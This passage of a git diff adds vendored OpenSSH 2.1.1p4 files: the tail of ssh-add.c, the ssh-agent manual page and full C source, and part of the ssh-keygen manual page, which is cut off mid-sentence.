(ebuf == NULL) { + error("list_identities: BN_bn2dec(e) failed."); + } else { + nbuf = BN_bn2dec(n); + if (nbuf == NULL) { + error("list_identities: BN_bn2dec(n) failed."); + } else { + printf("%d %s %s %s\n", bits, ebuf, nbuf, comment); + free(nbuf); + } + free(ebuf); + } + } + xfree(comment); + } + BN_clear_free(e); + BN_clear_free(n); + if (!had_identities) + printf("The agent has no identities.\n"); +} + +int +main(int argc, char **argv) +{ + AuthenticationConnection *ac = NULL; + struct passwd *pw; + char buf[1024]; + int no_files = 1; + int i; + int deleting = 0; + + init_rng(); + + /* check if RSA support exists */ + if (rsa_alive() == 0) { + fprintf(stderr, + "%s: no RSA support in libssl and libcrypto. See ssl(8).\n", + __progname); + exit(1); + } + /* At first, get a connection to the authentication agent. */ + ac = ssh_get_authentication_connection(); + if (ac == NULL) { + fprintf(stderr, "Could not open a connection to your authentication agent.\n"); + exit(1); + } + for (i = 1; i < argc; i++) { + if ((strcmp(argv[i], "-l") == 0) || + (strcmp(argv[i], "-L") == 0)) { + list_identities(ac, argv[i][1] == 'l' ? 1 : 0); + /* Don't default-add/delete if -l. */ + no_files = 0; + continue; + } + if (strcmp(argv[i], "-d") == 0) { + deleting = 1; + continue; + } + if (strcmp(argv[i], "-D") == 0) { + delete_all(ac); + no_files = 0; + continue; + } + no_files = 0; + if (deleting) + delete_file(ac, argv[i]); + else + add_file(ac, argv[i]); + } + if (no_files) { + pw = getpwuid(getuid()); + if (!pw) { + fprintf(stderr, "No user found with uid %d\n", (int) getuid()); + ssh_close_authentication_connection(ac); + exit(1); + } + snprintf(buf, sizeof buf, "%s/%s", pw->pw_dir, SSH_CLIENT_IDENTITY); + if (deleting) + delete_file(ac, buf); + else + add_file(ac, buf); + } + ssh_close_authentication_connection(ac); + exit(0); +} diff --git a/other/openssh-2.1.1p4/ssh-agent.0 b/other/openssh-2.1.1p4/ssh-agent.0 new file mode 100644 index 0000000..d87c6ec --- /dev/null +++ b/other/openssh-2.1.1p4/ssh-agent.0 @@ -0,0 +1,104 @@ + +SSH-AGENT(1) System Reference Manual SSH-AGENT(1) + +NAME + ssh-agent - authentication agent + +SYNOPSIS + ssh-agent [-c | -s] [-k] [command [args ...]] + +DESCRIPTION + ssh-agent is a program to hold private keys used for RSA authentication. + The idea is that ssh-agent is started in the beginning of an X-session or + a login session, and all other windows or programs are started as clients + to the ssh-agent program. Through use of environment variables the agent + can be located and automatically used for RSA authentication when logging + in to other machines using ssh(1). + + The options are as follows: + + -c Generate C-shell commands on stdout. This is the default if SHELL + looks like it's a csh style of shell. + + -s Generate Bourne shell commands on stdout. This is the default if + SHELL does not look like it's a csh style of shell. + + -k Kill the current agent (given by the SSH_AGENT_PID environment + variable). + + If a commandline is given, this is executed as a subprocess of the agent. + When the command dies, so does the agent. + + The agent initially does not have any private keys. Keys are added using + ssh-add(1). When executed without arguments, ssh-add(1) adds the + $HOME/.ssh/identity file. If the identity has a passphrase, ssh-add(1) + asks for the passphrase (using a small X11 application if running under + X11, or from the terminal if running without X). It then sends the iden- + tity to the agent. Several identities can be stored in the agent; the + agent can automatically use any of these identities. ssh-add -l displays + the identities currently held by the agent. + + The idea is that the agent is run in the user's local PC, laptop, or ter- + minal. Authentication data need not be stored on any other machine, and + authentication passphrases never go over the network. However, the con- + nection to the agent is forwarded over SSH remote logins, and the user + can thus use the privileges given by the identities anywhere in the net- + work in a secure way. + + There are two main ways to get an agent setup: Either you let the agent + start a new subcommand into which some environment variables are export- + ed, or you let the agent print the needed shell commands (either sh(1) or + csh(1) syntax can be generated) which can be evalled in the calling + shell. Later ssh(1) look at these variables and use them to establish a + connection to the agent. + + A unix-domain socket is created (/tmp/ssh-XXXXXXXX/agent.), and the + name of this socket is stored in the SSH_AUTH_SOCK environment variable. + The socket is made accessible only to the current user. This method is + easily abused by root or another instance of the same user. + + The SSH_AGENT_PID environment variable holds the agent's PID. + + The agent exits automatically when the command given on the command line + terminates. + +FILES + + + $HOME/.ssh/identity + Contains the RSA authentication identity of the user. This file + should not be readable by anyone but the user. It is possible to + specify a passphrase when generating the key; that passphrase + will be used to encrypt the private part of this file. This file + is not used by ssh-agent but is normally added to the agent using + ssh-add(1) at login time. + + /tmp/ssh-XXXX/agent., + Unix-domain sockets used to contain the connection to the authen- + tication agent. These sockets should only be readable by the + owner. The sockets should get automatically removed when the + agent exits. + +AUTHOR + Tatu Ylonen + + OpenSSH is a derivative of the original (free) ssh 1.2.12 release, but + with bugs removed and newer features re-added. Rapidly after the 1.2.12 + release, newer versions bore successively more restrictive licenses. + This version of OpenSSH + + o has all components of a restrictive nature (i.e., patents) directly + removed from the source code; any licensed or patented components are + chosen from external libraries. + + o has been updated to support ssh protocol 1.5. + + o contains added support for kerberos(8) authentication and ticket + passing. + + o supports one-time password authentication with skey(1). + +SEE ALSO + ssh(1), ssh-add(1), ssh-keygen(1), sshd(8), + +BSD Experimental September 25, 1999 2 diff --git a/other/openssh-2.1.1p4/ssh-agent.1 b/other/openssh-2.1.1p4/ssh-agent.1 new file mode 100644 index 0000000..47b1e5c --- /dev/null +++ b/other/openssh-2.1.1p4/ssh-agent.1 @@ -0,0 +1,167 @@ +.\" $OpenBSD: ssh-agent.1,v 1.13 2000/07/06 04:06:56 aaron Exp $ +.\" +.\" -*- nroff -*- +.\" +.\" ssh-agent.1 +.\" +.\" Author: Tatu Ylonen +.\" +.\" Copyright (c) 1995 Tatu Ylonen , Espoo, Finland +.\" All rights reserved +.\" +.\" Created: Sat Apr 23 20:10:43 1995 ylo +.\" +.Dd September 25, 1999 +.Dt SSH-AGENT 1 +.Os +.Sh NAME +.Nm ssh-agent +.Nd authentication agent +.Sh SYNOPSIS +.Nm ssh-agent +.Op Fl c Li | Fl s +.Op Fl k +.Oo +.Ar command +.Op Ar args ... +.Oc +.Sh DESCRIPTION +.Nm +is a program to hold private keys used for RSA authentication. +The idea is that +.Nm +is started in the beginning of an X-session or a login session, and +all other windows or programs are started as clients to the ssh-agent +program. +Through use of environment variables the agent can be located +and automatically used for RSA authentication when logging in to other +machines using +.Xr ssh 1 . +.Pp +The options are as follows: +.Bl -tag -width Ds +.It Fl c +Generate C-shell commands on +.Dv stdout . +This is the default if +.Ev SHELL +looks like it's a csh style of shell. +.It Fl s +Generate Bourne shell commands on +.Dv stdout . +This is the default if +.Ev SHELL +does not look like it's a csh style of shell. +.It Fl k +Kill the current agent (given by the +.Ev SSH_AGENT_PID +environment variable). +.El +.Pp +If a commandline is given, this is executed as a subprocess of the agent. +When the command dies, so does the agent. +.Pp +The agent initially does not have any private keys. +Keys are added using +.Xr ssh-add 1 . +When executed without arguments, +.Xr ssh-add 1 +adds the +.Pa $HOME/.ssh/identity +file. +If the identity has a passphrase, +.Xr ssh-add 1 +asks for the passphrase (using a small X11 application if running +under X11, or from the terminal if running without X). +It then sends the identity to the agent. +Several identities can be stored in the +agent; the agent can automatically use any of these identities. +.Ic ssh-add -l +displays the identities currently held by the agent. +.Pp +The idea is that the agent is run in the user's local PC, laptop, or +terminal. +Authentication data need not be stored on any other +machine, and authentication passphrases never go over the network. +However, the connection to the agent is forwarded over SSH +remote logins, and the user can thus use the privileges given by the +identities anywhere in the network in a secure way. +.Pp +There are two main ways to get an agent setup: +Either you let the agent +start a new subcommand into which some environment variables are exported, or +you let the agent print the needed shell commands (either +.Xr sh 1 +or +.Xr csh 1 +syntax can be generated) which can be evalled in the calling shell. +Later +.Xr ssh 1 +look at these variables and use them to establish a connection to the agent. +.Pp +A unix-domain socket is created +.Pq Pa /tmp/ssh-XXXXXXXX/agent. , +and the name of this socket is stored in the +.Ev SSH_AUTH_SOCK +environment +variable. +The socket is made accessible only to the current user. +This method is easily abused by root or another instance of the same +user. +.Pp +The +.Ev SSH_AGENT_PID +environment variable holds the agent's PID. +.Pp +The agent exits automatically when the command given on the command +line terminates. +.Sh FILES +.Bl -tag -width Ds +.It Pa $HOME/.ssh/identity +Contains the RSA authentication identity of the user. +This file should not be readable by anyone but the user. +It is possible to +specify a passphrase when generating the key; that passphrase will be +used to encrypt the private part of this file. +This file is not used by +.Nm +but is normally added to the agent using +.Xr ssh-add 1 +at login time. +.It Pa /tmp/ssh-XXXX/agent. , +Unix-domain sockets used to contain the connection to the +authentication agent. +These sockets should only be readable by the owner. +The sockets should get automatically removed when the agent exits. +.El +.Sh AUTHOR +Tatu Ylonen +.Pp +OpenSSH +is a derivative of the original (free) ssh 1.2.12 release, but with bugs +removed and newer features re-added. +Rapidly after the 1.2.12 release, +newer versions bore successively more restrictive licenses. +This version of OpenSSH +.Bl -bullet +.It +has all components of a restrictive nature (i.e., patents) +directly removed from the source code; any licensed or patented components +are chosen from +external libraries. +.It +has been updated to support ssh protocol 1.5. +.It +contains added support for +.Xr kerberos 8 +authentication and ticket passing. +.It +supports one-time password authentication with +.Xr skey 1 . +.El +.Pp +.Sh SEE ALSO +.Xr ssh 1 , +.Xr ssh-add 1 , +.Xr ssh-keygen 1 , +.Xr sshd 8 , diff --git a/other/openssh-2.1.1p4/ssh-agent.c b/other/openssh-2.1.1p4/ssh-agent.c new file mode 100644 index 0000000..148bcff --- /dev/null +++ b/other/openssh-2.1.1p4/ssh-agent.c @@ -0,0 +1,670 @@ +/* $OpenBSD: ssh-agent.c,v 1.31 2000/04/29 18:11:52 markus Exp $ */ + +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Wed Mar 29 03:46:59 1995 ylo + * The authentication agent program. + */ + +#include "includes.h" +RCSID("$OpenBSD: ssh-agent.c,v 1.31 2000/04/29 18:11:52 markus Exp $"); + +#include "ssh.h" +#include "rsa.h" +#include "authfd.h" +#include "buffer.h" +#include "bufaux.h" +#include "xmalloc.h" +#include "packet.h" +#include "getput.h" +#include "mpaux.h" + +#include + +typedef struct { + int fd; + enum { + AUTH_UNUSED, AUTH_SOCKET, AUTH_CONNECTION + } type; + Buffer input; + Buffer output; +} SocketEntry; + +unsigned int sockets_alloc = 0; +SocketEntry *sockets = NULL; + +typedef struct { + RSA *key; + char *comment; +} Identity; + +unsigned int num_identities = 0; +Identity *identities = NULL; + +int max_fd = 0; + +/* pid of shell == parent of agent */ +pid_t parent_pid = -1; + +/* pathname and directory for AUTH_SOCKET */ +char socket_name[1024]; +char socket_dir[1024]; + +#ifdef HAVE___PROGNAME +extern char *__progname; +#else /* HAVE___PROGNAME */ +static const char *__progname = "ssh-agent"; +#endif /* HAVE___PROGNAME */ + +void +process_request_identity(SocketEntry *e) +{ + Buffer msg; + int i; + + buffer_init(&msg); + buffer_put_char(&msg, SSH_AGENT_RSA_IDENTITIES_ANSWER); + buffer_put_int(&msg, num_identities); + for (i = 0; i < num_identities; i++) { + buffer_put_int(&msg, BN_num_bits(identities[i].key->n)); + buffer_put_bignum(&msg, identities[i].key->e); + buffer_put_bignum(&msg, identities[i].key->n); + buffer_put_string(&msg, identities[i].comment, + strlen(identities[i].comment)); + } + buffer_put_int(&e->output, buffer_len(&msg)); + buffer_append(&e->output, buffer_ptr(&msg), buffer_len(&msg)); + buffer_free(&msg); +} + +void +process_authentication_challenge(SocketEntry *e) +{ + int i, pub_bits, len; + BIGNUM *pub_e, *pub_n, *challenge; + Buffer msg; + MD5_CTX md; + unsigned char buf[32], mdbuf[16], session_id[16]; + unsigned int response_type; + + buffer_init(&msg); + pub_e = BN_new(); + pub_n = BN_new(); + challenge = BN_new(); + pub_bits = buffer_get_int(&e->input); + buffer_get_bignum(&e->input, pub_e); + buffer_get_bignum(&e->input, pub_n); + buffer_get_bignum(&e->input, challenge); + if (buffer_len(&e->input) == 0) { + /* Compatibility code for old servers. */ + memset(session_id, 0, 16); + response_type = 0; + } else { + /* New code. */ + buffer_get(&e->input, (char *) session_id, 16); + response_type = buffer_get_int(&e->input); + } + for (i = 0; i < num_identities; i++) + if (pub_bits == BN_num_bits(identities[i].key->n) && + BN_cmp(pub_e, identities[i].key->e) == 0 && + BN_cmp(pub_n, identities[i].key->n) == 0) { + /* Decrypt the challenge using the private key. */ + rsa_private_decrypt(challenge, challenge, identities[i].key); + + /* Compute the desired response. */ + switch (response_type) { + case 0:/* As of protocol 1.0 */ + /* This response type is no longer supported. */ + log("Compatibility with ssh protocol 1.0 no longer supported."); + buffer_put_char(&msg, SSH_AGENT_FAILURE); + goto send; + + case 1:/* As of protocol 1.1 */ + /* The response is MD5 of decrypted challenge plus session id. */ + len = BN_num_bytes(challenge); + + if (len <= 0 || len > 32) { + fatal("process_authentication_challenge: " + "bad challenge length %d", len); + } + memset(buf, 0, 32); + BN_bn2bin(challenge, buf + 32 - len); + MD5_Init(&md); + MD5_Update(&md, buf, 32); + MD5_Update(&md, session_id, 16); + MD5_Final(mdbuf, &md); + break; + + default: + fatal("process_authentication_challenge: bad response_type %d", + response_type); + break; + } + + /* Send the response. */ + buffer_put_char(&msg, SSH_AGENT_RSA_RESPONSE); + for (i = 0; i < 16; i++) + buffer_put_char(&msg, mdbuf[i]); + + goto send; + } + /* Unknown identity. Send failure. */ + buffer_put_char(&msg, SSH_AGENT_FAILURE); +send: + buffer_put_int(&e->output, buffer_len(&msg)); + buffer_append(&e->output, buffer_ptr(&msg), + buffer_len(&msg)); + buffer_free(&msg); + BN_clear_free(pub_e); + BN_clear_free(pub_n); + BN_clear_free(challenge); +} + +void +process_remove_identity(SocketEntry *e) +{ + unsigned int bits; + unsigned int i; + BIGNUM *dummy, *n; + + dummy = BN_new(); + n = BN_new(); + + /* Get the key from the packet. */ + bits = buffer_get_int(&e->input); + buffer_get_bignum(&e->input, dummy); + buffer_get_bignum(&e->input, n); + + if (bits != BN_num_bits(n)) + log("Warning: identity keysize mismatch: actual %d, announced %d", + BN_num_bits(n), bits); + + /* Check if we have the key. */ + for (i = 0; i < num_identities; i++) + if (BN_cmp(identities[i].key->n, n) == 0) { + /* + * We have this key. Free the old key. Since we + * don\'t want to leave empty slots in the middle of + * the array, we actually free the key there and copy + * data from the last entry. + */ + RSA_free(identities[i].key); + xfree(identities[i].comment); + if (i < num_identities - 1) + identities[i] = identities[num_identities - 1]; + num_identities--; + BN_clear_free(dummy); + BN_clear_free(n); + + /* Send success. */ + buffer_put_int(&e->output, 1); + buffer_put_char(&e->output, SSH_AGENT_SUCCESS); + return; + } + /* We did not have the key. */ + BN_clear(dummy); + BN_clear(n); + + /* Send failure. */ + buffer_put_int(&e->output, 1); + buffer_put_char(&e->output, SSH_AGENT_FAILURE); +} + +/* + * Removes all identities from the agent. + */ +void +process_remove_all_identities(SocketEntry *e) +{ + unsigned int i; + + /* Loop over all identities and clear the keys. */ + for (i = 0; i < num_identities; i++) { + RSA_free(identities[i].key); + xfree(identities[i].comment); + } + + /* Mark that there are no identities. */ + num_identities = 0; + + /* Send success. */ + buffer_put_int(&e->output, 1); + buffer_put_char(&e->output, SSH_AGENT_SUCCESS); + return; +} + +/* + * Adds an identity to the agent. + */ +void +process_add_identity(SocketEntry *e) +{ + RSA *k; + int i; + BIGNUM *aux; + BN_CTX *ctx; + + if (num_identities == 0) + identities = xmalloc(sizeof(Identity)); + else + identities = xrealloc(identities, (num_identities + 1) * sizeof(Identity)); + + identities[num_identities].key = RSA_new(); + k = identities[num_identities].key; + buffer_get_int(&e->input); /* bits */ + k->n = BN_new(); + buffer_get_bignum(&e->input, k->n); + k->e = BN_new(); + buffer_get_bignum(&e->input, k->e); + k->d = BN_new(); + buffer_get_bignum(&e->input, k->d); + k->iqmp = BN_new(); + buffer_get_bignum(&e->input, k->iqmp); + /* SSH and SSL have p and q swapped */ + k->q = BN_new(); + buffer_get_bignum(&e->input, k->q); /* p */ + k->p = BN_new(); + buffer_get_bignum(&e->input, k->p); /* q */ + + /* Generate additional parameters */ + aux = BN_new(); + ctx = BN_CTX_new(); + + BN_sub(aux, k->q, BN_value_one()); + k->dmq1 = BN_new(); + BN_mod(k->dmq1, k->d, aux, ctx); + + BN_sub(aux, k->p, BN_value_one()); + k->dmp1 = BN_new(); + BN_mod(k->dmp1, k->d, aux, ctx); + + BN_clear_free(aux); + BN_CTX_free(ctx); + + identities[num_identities].comment = buffer_get_string(&e->input, NULL); + + /* Check if we already have the key. */ + for (i = 0; i < num_identities; i++) + if (BN_cmp(identities[i].key->n, k->n) == 0) { + /* + * We already have this key. Clear and free the new + * data and return success. + */ + RSA_free(k); + xfree(identities[num_identities].comment); + + /* Send success. */ + buffer_put_int(&e->output, 1); + buffer_put_char(&e->output, SSH_AGENT_SUCCESS); + return; + } + /* Increment the number of identities. */ + num_identities++; + + /* Send a success message. */ + buffer_put_int(&e->output, 1); + buffer_put_char(&e->output, SSH_AGENT_SUCCESS); +} + +void +process_message(SocketEntry *e) +{ + unsigned int msg_len; + unsigned int type; + unsigned char *cp; + if (buffer_len(&e->input) < 5) + return; /* Incomplete message. */ + cp = (unsigned char *) buffer_ptr(&e->input); + msg_len = GET_32BIT(cp); + if (msg_len > 256 * 1024) { + shutdown(e->fd, SHUT_RDWR); + close(e->fd); + e->type = AUTH_UNUSED; + return; + } + if (buffer_len(&e->input) < msg_len + 4) + return; + buffer_consume(&e->input, 4); + type = buffer_get_char(&e->input); + + switch (type) { + case SSH_AGENTC_REQUEST_RSA_IDENTITIES: + process_request_identity(e); + break; + case SSH_AGENTC_RSA_CHALLENGE: + process_authentication_challenge(e); + break; + case SSH_AGENTC_ADD_RSA_IDENTITY: + process_add_identity(e); + break; + case SSH_AGENTC_REMOVE_RSA_IDENTITY: + process_remove_identity(e); + break; + case SSH_AGENTC_REMOVE_ALL_RSA_IDENTITIES: + process_remove_all_identities(e); + break; + default: + /* Unknown message. Respond with failure. */ + error("Unknown message %d", type); + buffer_clear(&e->input); + buffer_put_int(&e->output, 1); + buffer_put_char(&e->output, SSH_AGENT_FAILURE); + break; + } +} + +void +new_socket(int type, int fd) +{ + unsigned int i, old_alloc; + if (fcntl(fd, F_SETFL, O_NONBLOCK) < 0) + error("fcntl O_NONBLOCK: %s", strerror(errno)); + + if (fd > max_fd) + max_fd = fd; + + for (i = 0; i < sockets_alloc; i++) + if (sockets[i].type == AUTH_UNUSED) { + sockets[i].fd = fd; + sockets[i].type = type; + buffer_init(&sockets[i].input); + buffer_init(&sockets[i].output); + return; + } + old_alloc = sockets_alloc; + sockets_alloc += 10; + if (sockets) + sockets = xrealloc(sockets, sockets_alloc * sizeof(sockets[0])); + else + sockets = xmalloc(sockets_alloc * sizeof(sockets[0])); + for (i = old_alloc; i < sockets_alloc; i++) + sockets[i].type = AUTH_UNUSED; + sockets[old_alloc].type = type; + sockets[old_alloc].fd = fd; + buffer_init(&sockets[old_alloc].input); + buffer_init(&sockets[old_alloc].output); +} + +void +prepare_select(fd_set *readset, fd_set *writeset) +{ + unsigned int i; + for (i = 0; i < sockets_alloc; i++) + switch (sockets[i].type) { + case AUTH_SOCKET: + case AUTH_CONNECTION: + FD_SET(sockets[i].fd, readset); + if (buffer_len(&sockets[i].output) > 0) + FD_SET(sockets[i].fd, writeset); + break; + case AUTH_UNUSED: + break; + default: + fatal("Unknown socket type %d", sockets[i].type); + break; + } +} + +void +after_select(fd_set *readset, fd_set *writeset) +{ + unsigned int i; + int len, sock; + socklen_t slen; + char buf[1024]; + struct sockaddr_un sunaddr; + + for (i = 0; i < sockets_alloc; i++) + switch (sockets[i].type) { + case AUTH_UNUSED: + break; + case AUTH_SOCKET: + if (FD_ISSET(sockets[i].fd, readset)) { + slen = sizeof(sunaddr); + sock = accept(sockets[i].fd, (struct sockaddr *) & sunaddr, &slen); + if (sock < 0) { + perror("accept from AUTH_SOCKET"); + break; + } + new_socket(AUTH_CONNECTION, sock); + } + break; + case AUTH_CONNECTION: + if (buffer_len(&sockets[i].output) > 0 && + FD_ISSET(sockets[i].fd, writeset)) { + len = write(sockets[i].fd, buffer_ptr(&sockets[i].output), + buffer_len(&sockets[i].output)); + if (len <= 0) { + shutdown(sockets[i].fd, SHUT_RDWR); + close(sockets[i].fd); + sockets[i].type = AUTH_UNUSED; + buffer_free(&sockets[i].input); + buffer_free(&sockets[i].output); + break; + } + buffer_consume(&sockets[i].output, len); + } + if (FD_ISSET(sockets[i].fd, readset)) { + len = read(sockets[i].fd, buf, sizeof(buf)); + if (len <= 0) { + shutdown(sockets[i].fd, SHUT_RDWR); + close(sockets[i].fd); + sockets[i].type = AUTH_UNUSED; + buffer_free(&sockets[i].input); + buffer_free(&sockets[i].output); + break; + } + buffer_append(&sockets[i].input, buf, len); + process_message(&sockets[i]); + } + break; + default: + fatal("Unknown type %d", sockets[i].type); + } +} + +void +check_parent_exists(int sig) +{ + if (parent_pid != -1 && kill(parent_pid, 0) < 0) { + /* printf("Parent has died - Authentication agent exiting.\n"); */ + exit(1); + } + signal(SIGALRM, check_parent_exists); + alarm(10); +} + +void +cleanup_socket(void) +{ + remove(socket_name); + rmdir(socket_dir); +} + +void +cleanup_exit(int i) +{ + cleanup_socket(); + exit(i); +} + +void +usage() +{ + fprintf(stderr, "ssh-agent version %s\n", SSH_VERSION); + fprintf(stderr, "Usage: %s [-c | -s] [-k] [command {args...]]\n", + __progname); + exit(1); +} + +int +main(int ac, char **av) +{ + fd_set readset, writeset; + int sock, c_flag = 0, k_flag = 0, s_flag = 0, ch; + struct sockaddr_un sunaddr; + pid_t pid; + char *shell, *format, *pidstr, pidstrbuf[1 + 3 * sizeof pid]; + extern int optind; + + init_rng(); + + /* check if RSA support exists */ + if (rsa_alive() == 0) { + fprintf(stderr, + "%s: no RSA support in libssl and libcrypto. See ssl(8).\n", + __progname); + exit(1); + } +#ifdef __GNU_LIBRARY__ + while ((ch = getopt(ac, av, "+cks")) != -1) { +#else /* __GNU_LIBRARY__ */ + while ((ch = getopt(ac, av, "cks")) != -1) { +#endif /* __GNU_LIBRARY__ */ + switch (ch) { + case 'c': + if (s_flag) + usage(); + c_flag++; + break; + case 'k': + k_flag++; + break; + case 's': + if (c_flag) + usage(); + s_flag++; + break; + default: + usage(); + } + } + ac -= optind; + av += optind; + + if (ac > 0 && (c_flag || k_flag || s_flag)) + usage(); + + if (ac == 0 && !c_flag && !k_flag && !s_flag) { + shell = getenv("SHELL"); + if (shell != NULL && strncmp(shell + strlen(shell) - 3, "csh", 3) == 0) + c_flag = 1; + } + if (k_flag) { + pidstr = getenv(SSH_AGENTPID_ENV_NAME); + if (pidstr == NULL) { + fprintf(stderr, "%s not set, cannot kill agent\n", + SSH_AGENTPID_ENV_NAME); + exit(1); + } + pid = atoi(pidstr); + if (pid < 1) { /* XXX PID_MAX check too */ + /* Yes, PID_MAX check please */ + fprintf(stderr, "%s=\"%s\", which is not a good PID\n", + SSH_AGENTPID_ENV_NAME, pidstr); + exit(1); + } + if (kill(pid, SIGTERM) == -1) { + perror("kill"); + exit(1); + } + format = c_flag ? "unsetenv %s;\n" : "unset %s;\n"; + printf(format, SSH_AUTHSOCKET_ENV_NAME); + printf(format, SSH_AGENTPID_ENV_NAME); + printf("echo Agent pid %d killed;\n", pid); + exit(0); + } + parent_pid = getpid(); + + /* Create private directory for agent socket */ + strlcpy(socket_dir, "/tmp/ssh-XXXXXXXX", sizeof socket_dir); + if (mkdtemp(socket_dir) == NULL) { + perror("mkdtemp: private socket dir"); + exit(1); + } + snprintf(socket_name, sizeof socket_name, "%s/agent.%d", socket_dir, + parent_pid); + + /* + * Create socket early so it will exist before command gets run from + * the parent. + */ + sock = socket(AF_UNIX, SOCK_STREAM, 0); + if (sock < 0) { + perror("socket"); + cleanup_exit(1); + } + memset(&sunaddr, 0, sizeof(sunaddr)); + sunaddr.sun_family = AF_UNIX; + strlcpy(sunaddr.sun_path, socket_name, sizeof(sunaddr.sun_path)); + if (bind(sock, (struct sockaddr *) & sunaddr, sizeof(sunaddr)) < 0) { + perror("bind"); + cleanup_exit(1); + } + if (listen(sock, 5) < 0) { + perror("listen"); + cleanup_exit(1); + } + /* + * Fork, and have the parent execute the command, if any, or present + * the socket data. The child continues as the authentication agent. + */ + pid = fork(); + if (pid == -1) { + perror("fork"); + exit(1); + } + if (pid != 0) { /* Parent - execute the given command. */ + close(sock); + snprintf(pidstrbuf, sizeof pidstrbuf, "%d", pid); + if (ac == 0) { + format = c_flag ? "setenv %s %s;\n" : "%s=%s; export %s;\n"; + printf(format, SSH_AUTHSOCKET_ENV_NAME, socket_name, + SSH_AUTHSOCKET_ENV_NAME); + printf(format, SSH_AGENTPID_ENV_NAME, pidstrbuf, + SSH_AGENTPID_ENV_NAME); + printf("echo Agent pid %d;\n", pid); + exit(0); + } + setenv(SSH_AUTHSOCKET_ENV_NAME, socket_name, 1); + setenv(SSH_AGENTPID_ENV_NAME, pidstrbuf, 1); + execvp(av[0], av); + perror(av[0]); + exit(1); + } + close(0); + close(1); + close(2); + + if (setsid() == -1) { + perror("setsid"); + cleanup_exit(1); + } + if (atexit(cleanup_socket) < 0) { + perror("atexit"); + cleanup_exit(1); + } + new_socket(AUTH_SOCKET, sock); + if (ac > 0) { + signal(SIGALRM, check_parent_exists); + alarm(10); + } + signal(SIGINT, SIG_IGN); + signal(SIGPIPE, SIG_IGN); + signal(SIGHUP, cleanup_exit); + signal(SIGTERM, cleanup_exit); + while (1) { + FD_ZERO(&readset); + FD_ZERO(&writeset); + prepare_select(&readset, &writeset); + if (select(max_fd + 1, &readset, &writeset, NULL, NULL) < 0) { + if (errno == EINTR) + continue; + exit(1); + } + after_select(&readset, &writeset); + } + /* NOTREACHED */ +} diff --git a/other/openssh-2.1.1p4/ssh-keygen.0 b/other/openssh-2.1.1p4/ssh-keygen.0 new file mode 100644 index 0000000..deec172 --- /dev/null +++ b/other/openssh-2.1.1p4/ssh-keygen.0 @@ -0,0 +1,152 @@ + +SSH-KEYGEN(1) System Reference Manual SSH-KEYGEN(1) + +NAME + ssh-keygen - authentication key generation + +SYNOPSIS + ssh-keygen [-dq] [-b bits] [-N new_passphrase] [-C comment] [-f keyfile] + ssh-keygen -p [-P old_passphrase] [-N new_passphrase] [-f keyfile] + ssh-keygen -x [-f keyfile] + ssh-keygen -X [-f keyfile] + ssh-keygen -y [-f keyfile] + ssh-keygen -c [-P passphrase] [-C comment] [-f keyfile] + ssh-keygen -l [-f keyfile] + ssh-keygen -R + +DESCRIPTION + ssh-keygen generates and manages authentication keys for ssh(1). ssh- + keygen defaults to generating an RSA key for use by protocols 1.3 and + 1.5; specifying the -d flag will create a DSA key instead for use by pro- + tocol 2.0. + + Normally each user wishing to use SSH with RSA or DSA authentication runs + this once to create the authentication key in $HOME/.ssh/identity or + $HOME/.ssh/id_dsa. Additionally, the system administrator may use this to + generate host keys, as seen in /etc/rc. + + Normally this program generates the key and asks for a file in which to + store the private key. The public key is stored in a file with the same + name but ``.pub'' appended. The program also asks for a passphrase. The + passphrase may be empty to indicate no passphrase (host keys must have + empty passphrase), or it may be a string of arbitrary length. Good + passphrases are 10-30 characters long and are not simple sentences or + otherwise easily guessable (English prose has only 1-2 bits of entropy + per word, and provides very bad passphrases). The passphrase can be + changed later by using the -p option. + + There is no way to recover a lost passphrase. If the passphrase is lost + or forgotten, you will have to generate a new key and copy the corre- + sponding public key to other machines. + + For RSA, there is also a comment field in the key file that is only for + convenience to the user to help identify the key. The comment can tell + what the key is for, or whatever is useful. The comment is initialized + to ``user@host'' when the key is created, but can be changed using the -c + option. + + After a key is generated, instructions below detail where the keys should + be placed to be activated. + + The options are as follows: + + -b bits + Specifies the number of bits in the key to create. Minimum is + 512 bits. Generally 1024 bits is considered sufficient, and key + sizes above that no longer improve security but make things slow- + er. The default is 1024 bits. + + -c Requests changing the comment in the private and public key + files. The program will prompt for the file containing the pri- + vate keys, for passphrase if the key has one, and for the new + comment. + + + + -f Specifies the filename of the key file. + + -l Show fingerprint of specified private or public key file. + + -p Requests changing the passphrase of a private key file instead of + creating a new private key. The program will prompt for the file + containing the private key, for the old passphrase, and twice for + the new passphrase. + + -q Silence ssh-keygen. Used by /etc/rc when creating a new key. + + -C comment + Provides the new comment. + + -N new_passphrase + Provides the new passphrase. + + -P passphrase + Provides the (old) passphrase. + + -R If RSA support is functional, immediately exits with code 0. If + RSA support is not functional, exits with code 1. This flag will + be removed once the RSA patent expires. + + -x This option will read a private OpenSSH DSA format file and print + a SSH2-compatible public key to stdout. + + -X This option will read a SSH2-compatible public key file and print + an OpenSSH DSA compatible public key to stdout. + + -y This option will read a private OpenSSH DSA format file and print + an OpenSSH DSA public key to stdout. + +FILES + $HOME/.ssh/identity + Contains the RSA authentication identity of the user. This file + should not be readable by anyone but the user. It is possible to + specify a passphrase when generating the key; that passphrase + will be used to encrypt the private part of this file using 3DES. + This file is not automatically accessed by ssh-keygen but it is + offered as the default file for the private key. sshd(8) will + read this file when a login attempt is made. + + $HOME/.ssh/identity.pub + Contains the public key for authentication. The contents of this + file should be added to $HOME/.ssh/authorized_keys on all ma- + chines where you wish to log in using RSA authentication. There + is no need to keep the contents of this file secret. + + $HOME/.ssh/id_dsa + Contains the DSA authentication identity of the user. This file + should not be readable by anyone but the user. It is possible to + specify a passphrase when generating the key; that passphrase + will be used to encrypt the private part of this file using 3DES. + This file is not automatically accessed by ssh-keygen but it is + offered as the default file for the private key. sshd(8) will + read this file when a login attempt is made. + + $HOME/.ssh/id_dsa.pub + Contains the public key for authentication. The contents of this + file should be added to $HOME/.ssh/authorized_keys2 on all ma- + chines where you wish to log in using DSA authentication. There + is no need to keep the contents of this file secret. + +AUTHOR + Tatu Ylonen + + OpenSSH is a derivative of the original (free) ssh 1.2.12 release, but + with bugs removed and newer features re-added. Rapidly after the 1.2.12 + release, newer versions bore successively more restrictive licenses. + This version of OpenSSH + + o has all components of a restrictive nature (i.e., patents) directly + removed from the source code; any licensed or patented components are + chosen from external libraries. + + o has been updated to support ssh protocol 1.5. + + o contains added support for kerberos(8) 